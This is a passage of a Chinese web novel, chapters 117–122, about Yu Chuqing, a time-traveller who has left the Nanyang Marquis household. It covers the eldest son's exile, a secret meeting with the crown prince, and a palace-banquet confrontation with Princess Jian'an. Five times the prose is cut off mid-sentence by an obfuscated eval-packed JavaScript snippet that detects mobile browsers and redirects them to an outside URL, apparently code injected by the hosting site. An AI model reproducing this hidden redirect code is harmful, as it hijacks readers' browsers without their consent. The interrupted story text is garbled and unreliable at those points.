他的儿子,能对母亲有多孝顺,都是假的! 桑怀民从小看着父亲这样对自己的母亲,他又怎么可能尊重侯夫人? 被喻初晴刺激,他的心情已经很差了,怒道:“母亲又怎么样?你为我们做过什么吗!” “我落到如此田地,你想法子救我了吗!” “老三腿断了,你有照顾过他养伤吗?” “老四也出了事,你有积极营救过他吗?” “你就知道哭!” “别说我们了,就说以前喻初晴,她是你的左右手,帮你把事情都做完,你只需要坐享其成就好!” “但我们赶走她,父亲还要杀了她,那时候你可有阻拦过?” “母亲?” “哈哈,简直是天大的笑话!” “喻初晴骂我自私自大,自大是跟父亲学的,自私是跟你学的呀,母亲!” 侯夫人听得整个人僵愣住。 桑怀安实在是听不下去了,蹙眉:“大哥,你已经疯了!” 围观的人那么多,说这些简直是捞出屁股给别人看! 但桑怀民的确是疯了。 他已经完全没有以后了,穷途末路了,怎能不疯? “事到如今……”他嗤笑一声,道:“你们应该也知道,这些事都是喻初晴搞出来的吧?从离开侯府开始,她就一步步算计,挖好坑让我们跳进来!从前我怎么看不出来,她的心机竟然这般深沉、手段如此狠辣?” 听到这话,一旁的狱卒可就不高兴了:“桑大公子你说话,可是要摸着良心的!退一万步讲,当真是永安县主挖坑给你们跳,那你们为什么要跳呢?” 另一个狱卒也道:“就是!还每次都是你们上赶着,跑到人家家门口去害她的!她一个弱女子,只不过想要自保,在自家门口挖坑,有什么错?” 先前那个接着道:“因为没让他们如愿呗,他们想要害县主,县主合该站着不动让他们砍呗!” 桑怀民更生气了:“你们这些狗奴才,都是拿了她的好处才帮她说话的!” “你少污蔑我们,我们不过是说公道话!” 狱卒扬起鞭子就要抽。 桑怀安连忙阻拦,递出了一点碎银,道:“差爷莫气,我大哥如今是落难了,脾气难免差一点。还请海涵、海涵!” 他毕竟还是个七品官员,还是翰林院的庶吉士,狱卒还是给了点面子。 科考高中的人不少,能进翰林院的不多。 可普通人,即便进了翰林院,庶吉士的地位,依然是遥不可及。 当初若非喻初晴打点,关系硬,桑怀安哪有今天的地位? 但他自己不这么认为,而是:是我自己有才学,是我自己高中,是我写文章漂亮,得到老师们的赏识! 而桑怀民的话,桑怀安也是认同的。 但他不说。 他说道:“大哥,什么都别说了。母亲和我是来给你送行的。” 拿了一小包银子递进囚车,他说道:“如今家里已经很困难了,能给你的不多。你路上打点打点。” 被流放的犯人,也是要**示众的。 **完事儿后出城,交给押送流放犯人的差役。 到时候他也不用坐囚车了,必须一路徒步,拖着脚铐走到西北。 想要解开枷锁和镣铐,肯定要拿银子打点。 这是当兄弟的,唯一能做的,也算仁至义尽了。 桑怀民盯着那小小一包碎银,忽然不说话了。 说什么呢? 说再多,又有什么用呢? 他已经彻底失去了所有! 真的,什么都没有了! 这么一想,他就没忍住哭出声来。 是喻初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483132|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晴害他的! 但,喻初晴以前也没害他。 如果不是有赶走喻初晴这件事,是不是南阳侯府这一切惨事,都不会发生? 喻初晴够狠。 她真的好狠啊! 哭着哭着,他只留下冷漠的一句话给桑怀安:“你小心点,喻初晴不会放过你的,现在就剩下你了!” 之后,他再也没有说过一句话。 万念俱灰,莫过于此。 即便是**示众的途中,站在囚车里的他被扔臭鸡蛋、烂菜叶,甚至丢小石子,他都无所谓了。 这样活着,也许还不如**…… 桑怀安自然是不会陪着去**的,侯夫人也不会。 两人回到侯府。 近期都在收拾东西,能卖的卖掉,不能卖的得搬走。 侯夫人问:“怀安,可是有买家看上咱们的府邸了?” 只要一算她所剩无几的可怜嫁妆,她就呼吸困难! 因为先前频繁朝娘家借钱,如今娘家跟她的往来也少了许多。 没了嫁妆,以后如果仅剩的一个儿子不给她靠,她就完了! 难道,真去找喻初晴? 桑怀安没有隐瞒:“有三个意向买家,出价都很低。咱们侯府的价值其实是挺好的,我开价想要三万两已经不高了,但他们都不肯出。一人出的一万,另一人八千两,最后一人更过分,说咱们侯府已经住了几代人,卖了后还要花大钱修缮,只肯给五千!” 普通的宅子,未必值得这个价。 但南阳侯府祖上跟萧家打天下是有功劳的,赏赐下来的府邸就在正阳大街上,各方面的条件都很好。 除了旧一点,近几个月没钱维护,其他没什么毛病。 三万两的要价都不算高的,因为他们现在急用钱,只想出手。 被人压到这么低,他实在是既生气又无奈。 侯夫人叹了一口气:“落草的凤凰不如鸡!” 有人愿意买都不错了,谁都知道南阳侯府跟永安县主有仇怨,根本不敢蹚浑水! 桑怀安只能道:“我再跟对方磨一磨,争取最少两万成交吧。” 其实他心里更期盼另一件事: 桑雪尽快怀上孩子! 七月中旬,太子亲征响马盗,终于点兵完毕,踏上日程。 第118章 她很现实,很清醒 三军未动,粮草先行。 此前粮草已经出发,点兵完毕,萧景明也要南下了。 临行前,他已经把所有事务交代清楚。 头一晚,微服去了永安县主府。 为了隐人耳目,从后门进。 “初晴,孤有几件事,得与你商量。” “殿下请说。” 喻初晴在一处偏院子招待的萧景明。 虽说如今县主府里的人,都是她这些年来亲自培养的。 但很多事不好说。 她不可能全信! 时间紧迫,萧景明也就长话短说:“第一,上回你命人送消息给孤,说父皇寝殿内养了个女人,孤命人查过了,确有其事!并非后宫嫔妃、起居注上也没有记录,神神秘秘的,想想就觉得很古怪。” 喻初晴心想:那肯定啊,那可是萧风岚发现的。 当然,不排除萧风岚真跟其他女人幽会,再来骗她说身上的味道是从皇帝那里沾来的。 所以,她一直保留态度,没有完全相信他的话。 男人的嘴,骗人的鬼嘛! 她就想等着看,如果他真是骗她的,那他就要承担骗她的后果! 没想到,他倒真没说谎。 但她不可能把这些说出来,嘴上道:“然后呢?” 萧景明答道:“只知道有这件事,父皇做事还是太隐秘了,更多的也就查不到了,除非能从苏大伴那里套话。苏大伴嘴严是出了名的,他也不可能说。” 喻初晴抿唇:“所有一切做过的事,都会留下痕迹。没查到,应该是还不够仔细。” 她寻思着:太子莫不是手段过分光明磊落? 哪有撬不开的嘴! 苏大伴嘴严,难道他就没有干儿子、没有徒弟吗? 皇帝寝宫,难道除了苏大伴,就没有其他伺候的人? 藏了个女人在寝殿里,吃喝拉撒睡,皇帝是独揽大权、手眼通天,但不可能没有丝毫蛛丝马迹! “孤知晓,命人继续查着。”萧景明叹了一口气,道:“可如今孤得南下了,京中的事无法托付给信不过的人。故而,想托给你。” 他认真说道:“初晴,孤留下一些人手给你调遣,你来帮孤查这件事。你想要什么,尽管说。” “我可以帮殿下查。”喻初晴道:“不用提什么条件,只求日后万一初晴有哪里不懂事的、冲撞了殿下,殿下能看在今时今日的份上,饶过我。” 话是用开玩笑的口吻来说的。 人类总是喜欢用开玩笑的方式,来说真心话! 她筹谋的,还是喻昔词所担心的事。 希望萧景明永远记得现在的承诺,不要逼她! 毕竟她自己也不知道,被逼之下,会做出什么事情来! 不管萧景明有没有听懂,反正话她是这么说了。 冲撞二字,代表她是要忤逆的。 萧景明沉默半晌,答应了:“好。孤答应你。” 他又开始说起第二件事:“其二,关于桑雪的事。孤收她做侍妾,是想磋磨她一段时间,等外面的人淡忘了这件事后,再把她处理掉。你先前提议,让孤放她出来作乱,以此抓她的把柄。但孤马上就不在京中了……” “我明白。”喻初晴从善如流地道:“那先把她关着吧。” 反正,等到桑雪作死的时候,她自然而然就能出来了。 不急。 萧景明这就不理解了:“初晴,你是不是有什么别的打算?” 喻初晴笑了下,道:“没有什么别的打算。南阳侯府快完了,过阵子我也要离开帝京回祖籍。既如此,便关着她吧。等过几个月,我再回帝京,到时候南阳侯府的事已经不新鲜了,到时候殿下处置她,也不迟的。” 反正,桑雪肯定等不到那时候的。 桑怀安急功好利,如今的南阳侯府都要卖了,他也不会让她等! 只是,她跟太子的关系,还不足以事无巨细全部告知。 再温吞,也是权利顶峰的男人。 人心易变,谁也无法保证来日萧景明不会改变! 不知为何,萧景明有种直觉,喻初晴隐瞒了什么事。 但,认识那么多年,他如何不知:喻初晴是个心智沉稳、意志力比谁都坚定的人。 她不想说,他便问不出来。 而他也不可能愿意跟她撕破脸,便只得不追问。 “第三件事呢?”喻初晴询问。 萧景明说道:“第三,便是孤的婚事。” 提到这个,喻初晴的心便提了起来,有了两分防备。 好在,萧景明并非要扯跟她的关系,而是道:“孤跟父皇请旨,既然要亲征响马盗,势必会影响二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485120|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十岁之内成婚。故而,父皇允孤的婚事,不受此限!” “哦。”喻初晴就知道,不会是好消息。 看,喻昔词的想法,不就落空了吗? 不过没关系:“皇上自然不着急,毕竟殿下的婚事你不紧张,皇后娘娘也会紧张的。宗室里的长辈,也都会关注。殿下是储君,皇嗣尤其重要。” 她在提醒:你不要把这种事当儿戏,生不出儿子,太子这个位置轮不轮得到你做,还是两说! 萧景明性子相对而言比较温吞,但不代表他弱智。 “孤明白。” 他又叹了一口气,看着她,苦笑道:“你还真是……铁石心肠,不给孤留半点余地!” “我是为殿下好。”喻初晴平静又实际地道:“殿下,感情的事无法勉强。” 萧景明有些急切:“可你不是一贯不谈感情么?初晴,即便只是为了利益,孤可以给你至高无上的地位,你都不愿意么?” 喻初晴抬眸与他对视,认真无比地道:“我喻初晴唯利是图,但,以目前而言,没必要拿自己的婚姻来做筹码。” 她很现实,很清醒。 非要结婚的话,找一个自己能看对眼、能让自己顺心的人,也是一种现实! 毕竟,一辈子那么长,怨偶几十年,她没有信心能过下去! 再说了。 给她至高无上的地位,还不是需要她自己亲手维护。 而且,至高无上的男人,今天给你的一切,明天就有可能收回。 她自己内心丰沛,才不需要别人给! 萧景明无可奈何地道:“是,孤知道了。” 两人又谈了一些其他事。 谈完后,太子离去,留下了一只令牌,让喻初晴可以调遣东宫的人。 次日,太子南下,点了喻尚武跟随。 喻初晴其实有点急不可耐。 但,有些事是需要捱时间的! 终于,酷暑过去,七月流火。 连续下了几场雨,天气转凉了。 七月初七,乞巧节。 皇后办了一场宫宴,宴请五品以上官员家中女儿。 永安县主自然也在其中! 临近晌午,皇后盛装打扮,正待出中宫的门,心腹来报: “娘娘,太子府那位妾室,据说是有孕了!” 第119章 她们是天使投资人 喻初晴进宫,平时她不爱叮铃咣当的饰物,进了宫也尽可能往华丽的方向打扮。 这是尊重皇后,给皇后的体面。 还没进宫门呢,遇上了其他贵女的马车。 “初晴!” 喻初晴撩开车帘看过去。 后方的马车赶上来,两辆马车并驾齐驱。 隔壁的帘子也被挑开了,一名妙龄少女满脸青春洋溢的笑容,冲她招手。 这位便是内阁辅臣薛阁老的嫡孙女,薛涵,今年也是十七岁。 “我就想着呢,如果能在宫门外就遇见了你,一会儿我肯定要跟小喵喵嘚瑟一番才行!” 喻初晴失笑:“想见我,直接上县主府去找我不就成了?” “对哦。”薛涵掩嘴一笑,道:“那不是习惯了么?过去只有在宴席上遇见你,才敢当光明正大地和你说话,免得被你以前那个父亲盯上了,还得找我祖父、父亲攀交情。结果啊,你都搬出来几个月了,我还在等你来找我呢,竟然都完全没想到,可以直接上门去找你呀!” 他们倒不是完全不愿意交好。 喻初晴的面子,薛家是愿意给的。 只不过,南阳侯那个人急功好利,为人自大又刻薄,实在是交好不了一点! 喻初晴早便叮嘱她们,为了避免骚扰到她们家中官位高的长辈,小姐妹之间暗中来往就好。 待她成长到自立门户了,再正常往来。 她早就做好计划,会找一个名正言顺的契机,脱离南阳侯府。 只不过没想到,在那之前就出了真假千金的戏码罢了! 喻初晴笑道:“先进宫吧,等喵喵过来,我们一块儿去千秋殿。” 薛涵不情愿了:“车夫停下,我要上初晴的马车,跟她一块儿坐!” 喻初晴自然同意。 结果,薛涵刚上马车,后方便有人喊:“喂,你们两个等等我,我也要上去!” 二人都不用回头,听声音就知道了。 是雎宁郡主,萧淼淼。 这位郡主从辈分上来算,是萧景明的表姑、当今皇帝的表妹、十六皇叔的侄女儿,也是十七岁。 她的父亲定西王,是当今皇帝的六皇叔萧承,坐拥兵权的武将。 早些年曾在西北驻守,是五年前才调职回京的。 在西北长大的萧淼淼,性格活泼大胆,有草原女儿的飒爽英姿,不拘小节。 刚回帝京的时候,小姑娘不懂京中规矩,入目都是陌生,难免闹笑话。 别人不敢光明正大排挤她,但表面上的客套疏离,已经让她很难堪了。 是喻初晴主动与她交好,帮她出头。 二人因此结交成好友。 从十二岁起,她就把喻初晴当成是人生挚友,恨不能结拜成异性姐妹! 等萧淼淼上了车,薛涵便笑问:“小喵喵,你身为皇家郡主,怎么这个时辰才进宫,不是得先去给皇后娘娘请安吗?” “皇后娘娘不喜欢我,你又不是不知道。”萧淼淼不以为意地道:“你还说呢,上回诓我去给皇后请安,结果把我一个人留在那里!你得赔我一笔银子,还我血汗钱!” 薛涵笑出声来,道:“要钱没有,要命有一条!有本事,拿着你的九节鞭、杀了我!” “我不杀你,我掐死你啊!”萧淼淼扑了过去。 喻初晴没忍住失笑。 这俩都是活泼爱闹的性格,互相取外号。 萧淼淼的名字与她的性格实在是天差地别。 软绵绵的名字,是因为她在西北出生那年大旱,定西王给她取名叫淼淼,希望能多来点雨水。 薛涵说她性子像猫一样,动不动就炸毛,龇牙咧嘴的,所以给她取外号叫“小喵喵”。 萧淼淼不甘示弱,反手谐音叫薛涵:“血汗钱!” 伤害不大,侮辱性极强。 后来这两人见面就要互掐。 当然,越掐,感情越好。 平时喻初晴跟她们一起玩,都得偷偷约着出门去。 现在不一样了! “初晴!”薛涵跟萧淼淼闹完,整理好自己的衣裳,问:“你离开南阳侯府之后,还是头一次赴宴呢?” “是。”喻初晴颔首。 离开侯府也有数月,她还不曾去过任何一家赴宴。 先前因为身上麻烦多,现在南阳侯府已经差不多了,她也是时候冒头了。 萧淼淼抱住她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485121|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胳膊,亲昵地问:“我听说,南阳侯府要售卖了。是吗?” 见状,薛涵也不甘示弱,坐在喻初晴的另一边,抱住她另一条胳膊。 “是。”喻初晴无奈地道:“你俩这样,显得我很像是被挟持的人质!” 萧淼淼就是抱着不放,道:“不不不,你是我们的主心骨!是我们的天!是我们的财神爷!” 说到这个,薛涵的眼睛也亮了:“初晴,你是不是又扩大经营了?前日钱大掌柜命人送来了红利,怎么又比以前多啦?” 即便是他们富贵出身,说到钱,又岂能不爱? 萧淼淼也道:“对呀。晴晴,当初我们说好的,五年到期了,你要收回股份的。这不是到期了么,上个月怎么还给我们分红利?” “因为当年我们还不是现在这样的好朋友呀。”喻初晴反手拉住两人的手,三人把手叠在一起,道:“好朋友,有钱大家一起赚!” 没有她们俩,她根本没有今天的发展。 南阳侯府穷,她没有办法从那破烂公中拿出钱去投资,只能是帮他们经营庄子铺子改善生活,好学习经验。 即便她是穿越来的,都二十大几岁的人了,当年却只有十二岁的身体。 别说封建时代的束缚,即便是在现代,十二岁的小姑娘出去跟人谈生意,怎么谈? 一次宫宴上,认识了萧淼淼,后来又跟薛涵成了莫逆之交。 她一说想要暗中经商,这俩小姑娘二话不说,把自己从小到大积攒的所有银子,都拿出来给她当了本钱! 萧淼淼更是,逢年过节就跟她父母亲、兄长要银子,通通投给喻初晴。 小姑娘争强好胜,薛涵不甘示弱,在家里的所有女眷屋里都搜罗了一遍,跟她们要来了款式已经过时、她们已经不喜欢的首饰,拿去当铺当出了银子,交给了喻初晴。 起初也不多,一个五千两,一个六千两。 但,她们是天使投资人,喻初晴一辈子都不会忘记。 薛涵倒是想起一件事来了:“如今你离开南阳侯府了,倒是也不用走婚嫁那条路了,可喜可贺!” 萧淼淼道:“是啊,从前我就觉得离谱。你竟然想随便找个男人,养着个名分!” 第120章 听着是要找茬? 喻初晴但笑不语。 她的确想过这种办法,找个基因不错的男人,穷一点的,假意嫁娶、实则赘婿。 男人要是听话呢,勉强留着;不懂事,就去父留子! 这样脱离南阳侯府虽说是曲折了些,但也是最体面、最安全的做法。 桑家兄弟在朝为官,将来她做事也有个依仗。 但后来,她看上了萧风岚。 那狗东西地位太高,没办法这么搞,只能一直拖着。 不曾想,桑家这群蠢材,给了她更直接的机会! “现在好啦!”萧淼淼笑得开心:“我们初晴,可算是自由了,不必考虑这条路了!” 薛涵挑眉:“初晴,我告诉你个秘密。” “哦?”喻初晴疑惑地问:“什么秘密。” 薛涵还没说,萧淼淼扑了过来要捂嘴,但薛涵迅速躲到喻初晴身后,笑嘻嘻地道:“小喵喵看上你那位拎着锤子的二哥了!” “血汗钱,我杀了你!”萧淼淼红着脸,掐住了薛涵的脖子。 当然,她没用劲,就是闹着玩的。 喻初晴从中间将两人拉开,很是诧异地道:“只是看上,不是爱上吧?” 俩姑娘都愣住。 薛涵问:“为何这么说?” 喻初晴直截了当地道:“如果不是爱得不行,就换个人。” 大哥和三哥都叮咛过她:喻家不与萧家联姻。 何况,她跟萧风岚要是不谈婚嫁就算了,谈了的话,将来这辈分岂非乱套了? “谁说我爱上啦!”萧淼淼哼了一声,道:“我就是觉得你二哥武功好厉害,我特别佩服!薛涵你再乱说,我们绝交!” 尽管她这么说,喻初晴还是觉得:得提前打预防针! 她直接告诉她们:“我家里人说,喻家不与萧家通婚。我也不知道为什么,但必须得先给喵喵提个醒。” 俩姑娘都愣住了。 但她都说不知道了,她们也没法再问。 说话间,马车已经进宫,她们也就结束了这个话题。 下了马车前往千秋殿,还有好远。 三人有说有笑地一块往前走,中途,萧淼淼被叫去给太后请安,不得不离队。 只剩下喻初晴和薛涵两人一同去千秋殿。 拐过一座假山,身后突然传来呵斥:“你们两个,站住!” 别看薛涵在小姐妹面前很是活泼,日常在别人面前,却还是端庄贤淑的名门贵女。 阁老门庭的教养,不是盖的! 她本是挽着喻初晴的胳膊往前走,听到这声音下意识蹙眉,低声嘀咕:“初晴,是建安公主。听着是要找茬?” 建安公主,并非中宫嫡出,却是从出生起就养在皇后膝下。 据说是因为八字旺皇后。 果然,建安公主来了中宫之后第二年,皇后就生下了嫡长子萧景明。 几年后,萧景明被封为太子。 皇帝不一定宠爱建安公主,但在皇后心里,建安公主是个福星。 “不慌。”喻初晴轻声安抚。 她大大方方地拉着薛涵转头,行礼:“见过公主!” 除了她们,路上还有其他高门贵女、名门闺秀。 众人纷纷施礼:“见过建安公主!” “都起来吧。”建安公主虽然已经成亲了,但她可不是什么贤良淑德的善茬。 在皇后面前百般温柔可爱,外头的人却都知晓这位公主的品性:嚣张跋扈算不上,颐指气使是有的。 更重要的一点是:她喜欢美男子! 哦,大家都喜欢美男子,但她是属于喜欢就要得到的那种! 中宫公主、储君姐姐之尊,有的是男人跪舔。 桑怀民,当初就是其中之一! 正因为桑怀民的关系,建安公主连带的十分看不起喻初晴! 她的目光盯**喻初晴。 “桑初晴……”建安公主笑容嘲讽:“哦不对,现在应该称你为喻初晴了。” 虽说她看起来并不跋扈,但趾高气昂却是从骨子里透出来的。 她悠然说道:“这世上,像你这么……厉害的女子,也是少见!南阳侯府都那样了,你却光鲜亮丽!踩着尸骨往上爬,多么风光恣意呢?” “厉害”二字,从她嘴里说出来,显然不是什么好词儿。 在场的人那么多,大家都听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493071|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说过南阳侯府与永安县主的事。 但,好比不是人人都有脑子一样,并不是人人都知道事情的真相。 此时听了建安公主的话,不免怀疑:莫非有什么内幕? 八卦是人类的天性,有瓜吃谁不想吃! 薛涵见喻初晴的名誉被抹黑,没忍住辩驳:“公主莫非是道听途说,并不知晓前因后果,才这般说话?街头巷尾都知道,是南阳侯府先对不起的初晴,南阳侯府变成如今模样,也是他们咎由自取!” 从前,喻初晴不让她们插手她的事,坚决说她自己可以解决,不要给她们家里惹麻烦。 可现在不一样了! 她们已经可以正常来往了! 即便是在公主面前,也得帮初晴说公道话! 然而,建安公主以前见多了桑怀民跪舔自己的谄媚,早就下意识不把喻初晴放在眼里。 在她眼里,桑怀民是只舔狗,在南阳侯府长大的喻初晴,又能是什么好东西? “本宫不需要知晓什么前因后果!”建安公主嘲讽的目光扫向喻初晴,道:“她大哥……好吧,勉强说是前一位大哥,从前桑怀民讨好本宫的事,大家有目共睹!如今,她喻初晴不也是靠着讨好太子,才有今日的地位么?” 建安公主落在喻初晴脸上的眼神,仿佛看着一条狗:“不得不说,你的手段还是比桑怀民要高一些的,听说太子跟父皇请旨,要求婚期延后。是为了你呀?” 吃瓜的姑娘们:还有这样的事? 所以说,太子殿下对喻初晴情有独钟?但那又为何不请旨赐婚呢? 要这么说,她们就不困了啊! 能得太子青睐,那是要当太子妃了,飞上枝头变凤凰了啊! 谣言,就是这么产生的。 说到太子,薛涵就不好说什么了。 世家嫡女的本能责任感,不能祸从口出、给家族带来危机! 但她又想帮喻初晴,脸色极为难看,捏了捏喻初晴的手,大声道:“初晴,不管别人说什么,我都相信你,肯定没有这回事!” 想要做太子妃的人,何其多! 建安公主故意这么说,未尝不是想要给喻初晴树敌! 第121章 什么事儿都没有搞钱香! 然而,即便是说了这么多,喻初晴的脸色也没有任何变化。 她依旧淡定如斯,那淡然的笑意仿佛焊死在她脸上似的。 说话也是温和如旧,丝毫不受影响。 喻初晴语调温和地问:“公主,太子殿下出征讨伐响马盗,是为了黎民百姓,您却妄议他是为了我,不合适吧?” 反手就是扣帽子! 你给我戴帽子,我以牙还牙,不过分吧? 建安公主脸色一变,脸上的笑意瞬间没有了:“本宫怎么妄议太子了?喻初晴,你不要编排是非!” 喻初晴微笑:“若公主没有编排太子殿下的意思,为何屡屡提起殿下?” 自证陷阱,旅行撕逼必备良品,跳不跳? 她轻描淡写、三言两语,便把建安公主架上高台! 拎着一顶帽子就往建安公主脑袋上扣。 死死扣。 让这位高人一等的公主撕不下来! 建安公主语塞,强行辩驳:“太子是本宫的弟弟,为何不能提?” “没有人怀疑公主是殿下的姐姐这件事。”喻初晴依旧四平八稳,口吃清晰地道:“但有些话,还是要说清楚的,以免徒生事端。” “其一,我救太子只是碰巧,是太子殿下宅心仁厚,记我一恩。” “其二,我救东宫是举手之劳,皇恩浩荡,才会封我县主之位。” “喻初晴感谢上苍,感激皇恩,俯仰天地、问心无愧,并不认为有何不轨之处。” “敢问公主,为何非要说,是我用了什么手段讨好的太子殿下?” 她甚至上前一步,和颜悦色地问:“公主也是女子,自是知晓女子名誉大过天。您可一定要把话说清楚呀,不然让这么多人误会了,初晴以后如何在这帝京做人呢?” “公主该不会是想让我父兄蒙羞,逼我今日从乞巧宴上回去,便为证清白、以死明志吧?” 建安公主脸色猛地一沉:“你莫胡说!本宫没想逼死你!” 乞巧宴,是皇后办来维系与臣女们的关系,彰显皇后仁德。 用现代的话说,这是皇后的体面、也是皇后的业绩! 如果有贵女从这里回去,就来什么“以死明志”,那不是往皇后脸上扇耳光吗? 建安公主可背不起这口锅! 薛涵听得爽极了! 不愧是初晴! 她就是有四两拨千斤的本事,明明能把对方气死,又让别人拿不住半点把柄! 你说她顶撞公主? 她态度好着呢! 不仅面色温和语气和善,她甚至一直在微笑。 可你若说她怂? 面对强权,她自己不痛不痒,却几句话就把公主气得七窍生烟! 喻初晴,就是能用胳膊拧大腿的那种人! 建安公主气得恨不能螺旋桨升天:“喻初晴,你不要到处嚼舌根、搬弄是非!” “哦。”喻初晴从善如流地道:“所以,公主方才只是口误,并没有说我用手段讨好太子?对吧?” 围观的人越来越多,建安公主历来比较好面子。 她不想跟喻初晴掰扯了,只得顺了喻初晴的意思:“是是是,刚才是本宫口误!” 但喻初晴继续问:“所以,公主是知晓,初晴与太子殿下之间清清白白,没有任何不轨?” 薛涵差点就要拍手叫好了! 这叫一个乘胜追击! 她们初晴就是聪明,兵不血刃,轻而易举扭转颓势! 建安公主只想脱身:“想来是本宫误会了,太子坦荡荡,一心辅佐父皇理政、心思都在江山社稷上,自然不会乱来。他不得不请旨将婚事延后,也是为了拯救黎民百姓于水火,并不是为了你!” 她身为中宫出来的公主,必须誓死捍卫东宫的威严。 否则太子垮了,她也别想有现在的好日子! 不得不说,她还是有点脑子的。 喻初晴面带微笑,道:“多谢公主证实了初晴的清白!” 得胜了,她也不骄傲,明智地给对方台阶下:“公主大义,初晴敬仰!” 开玩笑,对方是中宫公主,皇后一手养大的。 跟她杠上?跟她撕破脸? 犯不上! 能扇的,她肯定扇。 不能动的,她不会动! 她是想在帝京闷m声赚大钱,又不是想四处树敌、天天跟人撕逼! 很多时候,直接动手并不算什么本事,武斗是最弱的手段。 文斗,会用高级阳谋,才是真正的本事! 建安公主刚才被高高架起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493072|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不得不自己改口,相当于自扇耳光。 然后,喻初晴反手给她扣了一顶高帽,她还必须得接! 她心里不舒坦,却不能当着这么多人的面发。 记恨归记恨,表面功夫还是要做的:“你知道就好。” 她还是得强行挽尊:“但不管你怎么说话,本公主不喜欢你,就是不喜欢你!以后你少往本公主面前凑!” 说着,她甩袖离去。 看着一行人走远,薛涵不忿地道:“咱们也没往公主面前凑,是她先喊我们站住的。” 旋即又担心地问:“初晴,你怎么得罪建安公主了?” “大概……”喻初晴淡笑,道:“是因为我给桑怀民选亲之后,桑怀民已为人夫,便不能追着公主献殷勤,让公主少了个爱慕者吧。” 薛涵:“啊。” 她明白了! 建安公主享受被男人追逐的滋味,更显得她公主之尊、高高在上。 而桑怀民又是特别舔的那个! 喻初晴凑在她耳边,低声道:“其实当时桑怀民差点就做成男宠了,他以为公主被他打动了,会选他做驸马。结果呢,被我横插一杠,让南阳侯给他定了连家的亲事。之后,建安公主便招了驸马。桑怀民因此,而恨**我!” 听她不痛不痒地说出这种事,薛涵心疼地问:“好心被当成驴肝肺,你当时难过吗?” 喻初晴但笑不语。 难过个嘚儿! 她二十大几、见多识广的人,来了十二岁小女孩的身体里,难不成还会天真企盼“爹爹疼我、娘亲爱我、哥哥宠我”? 他们若是愿意对她好,她就尽可能回馈同等感情。 若没有,她压根不在乎! 对她来说,搞钱要紧。 什么事儿都没有搞钱香! 没有期盼,自然就不会失望,所以她没有因为桑家人做的任何事而难受过。 她不难过,却把每一笔仇怨,都记在了小黑本上,择日一一打回去! 一行人来到了千秋殿。 刚进殿门,便见皇后身边的大宫女走过来,向她行礼:“问永安县主安!” 又朝薛涵欠首:“薛小姐好!” 她直截了当说出来意:“皇后娘娘有请!请县主随奴婢过来一趟。” 第122章 皇后要借刀** “我去一趟。” 喻初晴拍了拍薛涵的手背以作安抚,在薛涵担忧的目送下,带着合欢木棉,跟着那大宫女来到了中宫。 “初晴拜见皇后娘娘千岁!” 她恭谨行礼。 皇后苏佩云,十**岁生的萧景明,如今也不到四十。 看上去很年轻,眼角的一点点细纹。 不但不显老,反而显得她沉稳大气、雍容华贵。 她今日心情可不太好,但即便如此,面对喻初晴的时候,依然是和颜悦色:“初晴来啦?快免礼,过来坐!” 喻初晴原以为皇后找自己,很可能会是为了桑雪的事,毕竟她收到了消息:桑雪被皇后召进宫了。 却不想,她坐下后,皇后并没有提桑雪的打算,而是屏退了左右,问她:“初晴,本宫知道,太子心悦你。” 竟是单刀直入。 